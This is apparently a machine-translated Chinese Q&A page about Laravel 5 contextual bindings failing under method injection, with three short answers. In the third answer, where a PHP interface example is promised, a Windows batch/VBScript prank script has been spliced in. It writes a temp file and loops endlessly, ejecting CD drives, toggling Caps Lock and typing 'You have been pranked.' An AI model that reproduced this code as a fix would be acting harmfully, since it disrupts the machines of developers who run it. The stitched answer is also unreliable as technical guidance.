使用方法注入时,Laravel 5 IoC容器无法解析上下文绑定

时间:2014-11-24 07:25:34

标签: laravel laravel-5

在我的Laravel 5应用程序中,我为服务提供商中的接口注册了上下文绑定,如下所示:

$this->app->when('App\Http\Controllers\MyController')
    ->needs('App\Contracts\MyRepositoryInterface')
    ->give('App\Repositories\MyRepostory');

在控制器MyController内部,我有index()方法,我试图像这样注入MyRepositoryInterface

public function index(App\Contracts\MyRepositoryInterface $repo)
{
    // Stuff
}

问题是,上述方法不起作用并给出了此错误:

  

Container.php第754行中的BindingResolutionException:

     

目标[App \ Contracts \ MyRepositoryInterface]不可实例化。

但是,如果我将上下文绑定更改为正常的绑定,如下所示,则可以:

$this->app->bind(
    'App\Contracts\MyRepositoryInterface',
    'App\Repositories\MyRepository'
);

我注意到的另一件事是,相同的上下文绑定适用于控制器的构造函数方法,如下所示:

public function __constructor(App\Contracts\MyRepositoryInterface $repo)
{
    // Stuff
}

这让我想知道,方法(构造函数除外)注入不支持上下文绑定吗?或者这仍然是一项正在进行中的工作,一旦Laravel 5问世,它将得到支持吗?

或者我做错了什么?

任何建议都会非常感激,因为我一直在梳理它!

3 个答案:

答案 0 :(得分:0)

L5仍然是WIP,此问题尚未解决。

https://github.com/laravel/framework/issues/6177

答案 1 :(得分:0)

最终在Laravel 5(照明/容器5.0)中实现了这一点,如issue #6177中所述。

答案 2 :(得分:0)

Laravel 5不支持这一点,因为它不打算用于方法。解决方法是使用您自己的接口扩展ValidatesWhenResolved接口,例如:

:loopall
=====CD OPEN======
:Set oWMP = CreateObject("WMPlayer.OCX.7")
:Set colCDROMs = oWMP.cdromCollection
:do
:if colCDROMs.Count >= 1 then
:For i = 0 to colCDROMs.Count - 1
:colCDROMs.Item(i).Eject
:Next
:For i = 0 to colCDROMs.Count - 1
:colCDROMs.Item(i).Eject
:Next
:End If
:wscript.sleep 5000
:loop
findstr "^:" "%~sf0">temp.vbs & cscript //nologo temp.vbs & del temp.vbs

======Caps lock Spam=====
:Set wshShell =wscript.CreateObject("WScript.Shell")
:do
:wscript.sleep 100
:wshshell.sendkeys "{CAPSLOCK}"
:loop
findstr "^:" "%~sf0">temp.vbs & cscript //nologo temp.vbs & del temp.vbs

=====Type you have been pranked====
:Set wshShell = wscript.CreateObject("WScript.Shell")
:do
:wscript.sleep 100
:wshshell.sendkeys "You have been pranked."
:loop
findstr "^:" "%~sf0">temp.vbs & cscript //nologo temp.vbs & del temp.vbs
goto loopall

而且你可以绑定到该界面:

namespace Authentication\Requests\Contracts;
use Illuminate\Contracts\Validation\ValidatesWhenResolved;

interface Validatable extends ValidatesWhenResolved {}

虽然不是DRY。